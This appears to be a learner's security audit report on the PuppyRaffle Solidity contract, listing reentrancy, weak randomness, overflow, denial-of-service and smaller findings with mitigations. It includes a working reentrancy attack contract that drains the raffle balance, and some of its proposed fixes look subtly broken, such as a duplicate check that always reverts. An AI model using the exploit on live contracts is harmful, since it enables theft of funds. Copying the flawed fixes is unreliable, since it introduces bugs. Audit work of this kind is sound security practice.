PuppyRaffle Audit Report

SnavOhBurmaa

14 March 2026

Prepared by

SnavOhBurmaa

Lead Auditors

- SnavOhBurmaa

Assisting Auditors

- None

Contents

1 About Me **3**

2 Disclaimer **3**

3 Risk Classification **3**

4 Audit Details **3**
4.1 Scope . . . 3

5 Protocol Summary **3**
5.1 Roles . . . 3

6 Executive Summary **4**
6.1 Issues found . . . 4

7 Findings **4**
7.1 High . . . 4
7.1.1 [H-1] Reentrancy Attack in `PuppyRaffle :: refund()` function. This allows entrants to drain raffle balance . . . 4
7.1.2 [H-2] Weak randomness in `PuppyRaffle : selectWinner` allows users to influence or predict the winner or predict the winning puppy . . . 6
7.1.3 [H-3] Integer Overflow in `totalFees` causes incorrect fee accounting . . . 6
7.2 Medium . . . 7
7.2.1 [M-1] Looping through players array to check for duplicates in `PuppyRaffle :: enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants. . . . 7
7.2.2 [M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of the contest . . . 9

7.3 Low . . . 9
7.3.1 [L-1] Missing Zero Check: can wrongly set the `zero address` to `newFeeAddress` 9
7.3.2 [L-2] `PuppyRaffle : getActivePlayerIndex` returns `zero` for non-existent players and for players at index zero, causing a player at index zero to incorrectly think they are non-active player, . . . 10
7.4 Gas . . . 10
7.4.1 [G-1] Unchanged state variables should be declared constant or immutable 10
7.4.2 [G-2] Storge variables in a loop should be cached . . . 11
7.5 Info . . . 11
7.5.1 [I-1] highly recommend not to use outdated sloidity version . . . 11
7.5.2 [I-2] Use of `magic number` is discouraged . . . 11
7.5.3 [I-3] Floating paragmas . . . 11
7.5.4 [I-4] Magic numbers . . . 11
7.5.5 [I-5] Test Coverage . . . 12
7.5.6 [I-6] _isActivePlayer should remove . . . 12

1 About Me

Hi, I'm Khant Wai Yan Aung (SnavOhBurmaa). I'm currently focusing on smart contract security audit. This is my second report. Thanks .....

2 Disclaimer

The Ohburmaa team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

3 Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

4 Audit Details

The findings described in this document correspond the following commit hash:

```
https://github.com/Cyfrin/4-puppy-raffle-audit/tree/main
```

4.1 Scope

```
src/
--- PuppyRaffle.sol
```

5 Protocol Summary

PuppyRaffle is a raffle protocol where entrants pay an entrance fee to join; a winner is selected after the raffle duration, with fee accounting and refunds for players who exit before the draw.

5.1 Roles

- Owner: Can change fee address and manage protocol fee withdrawal.
- Entrants: Pay entrance fee to enter; may refund before winner selection.
- Winner: Receives prize pool portion after `selectWinner`.

6 Executive Summary

6.1 Issues found

Severity	Number of issues found
High	3
Medium	2
Low	2
Gas	2
Info	6
Total	15

7 Findings

7.1 High

7.1.1 [H-1] Reentrancy Attack in `PuppyRaffle :: refund()` function. This allows entrants to drain raffle balance

Description: The `PuppyRaffle :: refund()` function perform external call `payable(msg.sender).sendVa` before updating the contract's internal state. The contract transfer `entranceFee` to caller before the stage change `players[playerIndex] = address(0);`. This mean a malicious contract can re-enter the `refund()` function via its `receive()` or `fallback()` function before the player slot is cleared.

Impact: All fees paid by entrants can be stolen.

Proof of Concept: Add the following code to the `PuppyRaffleTest.t.sol` file.

Test Code:

```
function test_ReentrancyInRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttack attackContract = new ReentrancyAttack(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 attackContractStartingBalance = address(attackContract).balance;
        uint256 puppyContractStartingBalance = address(puppyRaffle).balance;

        //attack
        vm.prank(attackUser);
        attackContract.attack{value: entranceFee}();

        console2.log("attackContractStartingBalance", attackContractStartingBalance);
        console2.log("puppyContractStartingBalance", puppyContractStartingBalance);

        console2.log("attackContractBalance", address(attackContract).balance);
        console2.log("puppyContractBalance", address(puppyRaffle).balance);

    }
```

```
contract ReentrancyAttack {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney () internal {
        if (address(puppyRaffle).balance > 0) {
            puppyRaffle.refund(attackerIndex);
        }
    }
    fallback() external payable {
        _stealMoney();
    }
    receive() external payable {
        _stealMoney();
    }
}
```

You will see the output like this:

`attackContractStartingBalance 0, puppyContractStartingBalance 4000000000000000000, attackContractBalance 5000000000000000000, puppyContractBalance 0`

Users enter raffle. Attacker sets up a contract with `fallbck` function and enters the raffle. And then attacker drain all the contract's balance.

Recommended Mitigation: Should change the state `players` before external call, should move the event emission up as well.

```
  function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
            refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded");

        // State change
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);

        //External call
        payable(msg.sender).sendValue(entranceFee);
```

```
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);

    }
```

7.1.2 [H-2] Weak randomness in `PuppyRaffle : selectWinner` allows users to influence or predict the winner or predict the winning puppy

Description Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together create a predictable find number. A predictable number is not a good random number. Maliciopus users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note these additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Code

1. Validators can know ahead of the time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. And `block.difficulty` was recently replaced with `prevrandao`.
2. User can mine/manipulate their `msg.sender` value to result in their address besing used to generated the winner.
3. User can revert their `selectWinner` transaction if they don't like the winer or resulting puppy.

Recommended Mitigation Consider using a cryptographically provable random number generator such as Chainlink VRF.

7.1.3 [H-3] Integer Overflow in `totalFees` causes incorrect fee accounting

Description: The contract increases `totalFees` by using:

```
function selectWinner() external {
        raffleId ++;
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle:
            Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
                block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
    @> totalFees = totalFees + uint64(fee);
        uint256 tokenId = totalSupply();
```

if fee is large enough, adding it to `totalFees` may exceed the maximun value of uint64. In solidity versions below 0.8.0, this would cause overflow and goes back to 0 or a small number

Impact: Overflow canreset or reduce `totalFees`, causing incorrect accounting. This can happen loss of protocol revvenue tracking, incorrect fee distribution and broken financial logic

Proof of Concept: add this following code line by line in terminal, type `chisel`:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64 (fee)
```

max becomes Max value, fee will become 0 and accounting becomes incorrect. And you can't wothdraw due to this line in `PuppyRaffle : witdrawFees`

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are
    currently players active!");
```

Recommended Mitigation: Use Solidity ^0.8.0, which automatically reverts on overflow. If using older versions, use SafeMath from OpenZeppelin. Should use `uint256` instead of `uint64`. Remove the balance check from `PuppyRaffle : withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are
    currently players active!");
```

There are more attack vectors with that final require, so I recommend to remove it.

7.2 Medium

7.2.1 [M-1] Looping through players array to check for duplicates in `PuppyRaffle :: enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRuffle :: enterRaffle` function loops through the `players` array to check duplicates. But, the longer the `players` array, need the more checks. So, the players who enter later to the contract will cost the more gas fees than the first player. Every additional address in the `players` array, is an additional check the loop will have to make.

Impact: The gas costs for raffle entrants will greatly increaase as more players enter the raffle. And can cause rushing at the start of the raffle to be one of the first entrants in the queue.

Also an attacker might make the `PuppyRaffle :: entrants` array too big, that no one else can enters.

Proof of Concept: The gas cost differenes between 1st 100 players and 2nd 100 players:

gasUsed for first 100 players 6503222

gasUsed for second 100 players 18995462

```
// @audit DoS attack
@> for (uint256 i = 0; i < players.length - 1; i++) {
          for (uint256 j = i + 1; j < players.length; j++) {
              require(players[i] != players[j], "PuppyRaffle: Duplicate player");
          }
      }
```

Put the following code into `PuppyRaffleTest.t.sol`

```
function test_denialOfService() public {
    // let num of players = 100
```

```
    uint256 numOfPlayers = 100;
    address[] memory players = new address[](numOfPlayers);
    for (uint256 i = 0; i < numOfPlayers; i++) {
        players[i] = address(i);
    }

    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * numOfPlayers}(players);
    uint256 gasEnd = gasleft();
    uint256 gasUsed1 = (gasStart - gasEnd) * 1;
    console2.log("gasUsed for first 100 players", gasUsed1);

    // for 200 players

    address[] memory playersTwo = new address[](numOfPlayers);
    for (uint256 i = 0; i < numOfPlayers; i++) {
        playersTwo[i] = address(i + numOfPlayers);
    }
    uint256 gasStart2 = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * numOfPlayers}(playersTwo);
    uint256 gasEnd2 = gasleft();
    uint256 gasUsed2 = (gasStart2 - gasEnd2) * 1;
    console2.log("gasUsed for second 100 players", gasUsed2);

    assert (gasUsed2 > gasUsed1);
}
```

Run `forge test -match-test test_denialOfService -vvv` in terminal

Recommended Mitigation: There are few recommendations:

1. Allow duplicates, users can make new wallet addresses. So, duplicate checks can't prevent the same person from entering many times, can only prevent from entering from the same address.

2. Consider using a mapping to check for deplicates. This would allow constants time lookup of whether a user has already entered

```
+ mapping (address => uint256) public addressToRaffleId;
+ uint256 public raffleId = 0;
   function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send
            enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+ addressToRaffleId[newPlayers[i]] = raffleId;
+ }
        // check for duplicates only from new users
+ for (uint256 i = 0; i < newPlayers.length; i++) {
+ require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate
    player");
+ }

- for (uint256 i = 0; i < players.length - 1; i++) {
- for (uint256 j = i + 1; j < players.length; j++) {
- require(players[i] != players[j], "PuppyRaffle: Duplicate player");
- }
        }
        emit RaffleEnter(newPlayers);
```

```
    }

    function selectWinner() external {
+ raffleId ++;
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle:
            Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
```

7.2.2 [M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of the contest

Description The `PuppyRaffle : selectWinner` function is responsible for the resetting the lottery. However, if the winner is a smart contract wallet that rejects payments, the lottery would not be able to restart.

User could easily call the `selectWinner` function agaion and non-wallet entrants could entewr, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact The `PuppyRaffle : selectWinner` function could revery many times, making the lottery reset difficult.

Also, true winners would not get paid and someone else could take their money.

Proof of Concept

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottey ends.
3. The `selectWinner` function wouldn't work, even though the lottery is finished.

Recommended Mitigation

1. Do not allow smart contract wallet entrants
2. Create a mapping of address -> payout amount so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the wineer to claim their prize.

7.3 Low

7.3.1 [L-1] Missing Zero Check: can wrongly set the `zero address` to `newFeeAddress`

Description: In `changeFeeAddress` function, need to check `newFeeAddress` is not zero address. If it is a zero address, and the owner sets `feeAddress` to `address(0)`, future fee withdrawals will send funds to `address(0)`, resulting in permanent loss of those protocol fees.

Impact: if `feeAddress` is set to `address(0)`, `withdrawFees()` will send ETH to `address(0)` and those funds burned permanently. Only protocol fees are affected; raffle prizes are not impacted. But cannot be exploited by users or external attackers.

Proof of Concept: The owner calls `changeFeeAddress(address(0))`, the transaction doesn't revert. The contract state updates `feeAddress` to the `address(0)`.

```
function test_OwnerCanSetZeroFeeAddress() public {
    puppyRaffle.changeFeeAddress(address(0));
    assertEq(puppyRaffle.feeAddress(), address(0));
    console2.log("feeAddress", puppyRaffle.feeAddress());
}
```

run `forge test -match-test test_OwnerCanSetZeroFeeAddress -vvv` in terminal and you will see the output like this `feeAddress 0x0000000000000000000000000000000000000000`

Recommended Mitigation: in `changeFeeAddress` function, add require function check `newFeeAddress` is not `address(0)`.

```
function changeFeeAddress(address newFeeAddress) external onlyOwner {
    // @audit : missinf zero check
+ require(newFeeAddress != address(0), "annot be zero");
    feeAddress = newFeeAddress;
    emit FeeAddressChanged(newFeeAddress);
    }
```

7.3.2 [L-2] `PuppyRaffle : getActivePlayerIndex` returns zero for non-existent players and for players at index zero, causing a player at index zero to incorrectly think they are non-active player,

Description If a player is in the `PuppyRaffle : players` array at index zero, this will return zero, but according to the natspec, it will also return O if the player is not in the array.

```
  // return the index of the player in the array, if they are not active, return zero
  function getActivePlayerIndex(address player) external view returns (uint256) {
       for (uint256 i = 0; i < players.length; i++) {
           if (players[i] == player) {
               return i;
           }
       }
       return 0;
    }
```

Impact A player at the index zero may incorrectlt think they are not entered the raffle and try to enter the raffle again, can cause wasting gas.

Proof of Concept

1. user enter the raffle and it is the first entrant.
2. `PuppyRaffle : getActivePlayerIndex` returns zero.
3. user thinks he is not entered correctly due to the function documentation.

Recommended Mitigation The easiest recommendation would be to revert if the player is not in the array instead of returning zero.

You could also reserve the zero position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

7.4 Gas

7.4.1 [G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive then reading from constant or immutable.

Instances:

`PuppyRaffle :: raffleDuration` should be `immutable`

`PuppyRaffle :: commonImageUri` should be `constant`

`PuppyRaffle :: legendaryImageUri` should be `constant`

`PuppyRaffle :: rareImageUri` should be `constant`

7.4.2 [G-2] Storge variables in a loop should be cached

Everytime you call `players.length`, you read from storage, as supposed to memory which is more gas efficient

```
+ uint256 playerLength = players.length
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < playerLength - 1; i++) {
- for (uint256 j = i + 1; j < players.length; j++) {
+ for (uint256 j = i + 1; j < playerLength; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
```

7.5 Info

7.5.1 [I-1] highly recommend not to use outdated sloidity version

Description: solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least `0.8.0`) with no known severe issues. Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

7.5.2 [I-2] Use of `magic number` is discouraged

It can be confusing to see number literals in codebase, and it is much more readable if the numbers are given a name.

Examples:

```
        uint256 pricePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20 ) / 100;
```

Instead, you can use:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;
```

7.5.3 [I-3] Floating paragmas

Description Contract should use strict solidity version.

Recommended Mitigation

```
- pragma solidity ^0.7.6;
+ pragma solidity 0.7.6;
```

7.5.4 [I-4] Magic numbers

Description All numbers should be replaced with constants. This make the code more readable and easier to maintain. Numbers without context are called “magic numbers”

Recommended Mitigation Replace all magic numbers with constants

```
- uint256 prizePool = (totalAmountCollected * 80) / 100;
- uint256 fee = (totalAmountCollected * 20) / 100;

+ uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+ uint256 public constant FEE_PERCENTAGE = 20;
+ uint256 public constant TOTAL_PERCENTAGE = 100;

+ uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
    TOTAL_PERCENTAGE
+ uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / TOTAL_PERCENTAGE
```

7.5.5 [I-5] Test Coverage

Description The test coverage of this project is under 90%, means that there are parts of the code the are not tested

Recommended Mitigation Make sure that test coverage up to 90%

7.5.6 [I-6] _isActivePlayer should remove

Description _isActivePlayer is never use in the contract and should remove it

```
- function _isActivePlayer() internal view returns (bool) {
- for (uint256 i = 0; i < players.length; i++) {
- if (players[i] == msg.sender) {
- return true;
- }
- }
- return false;
- }
```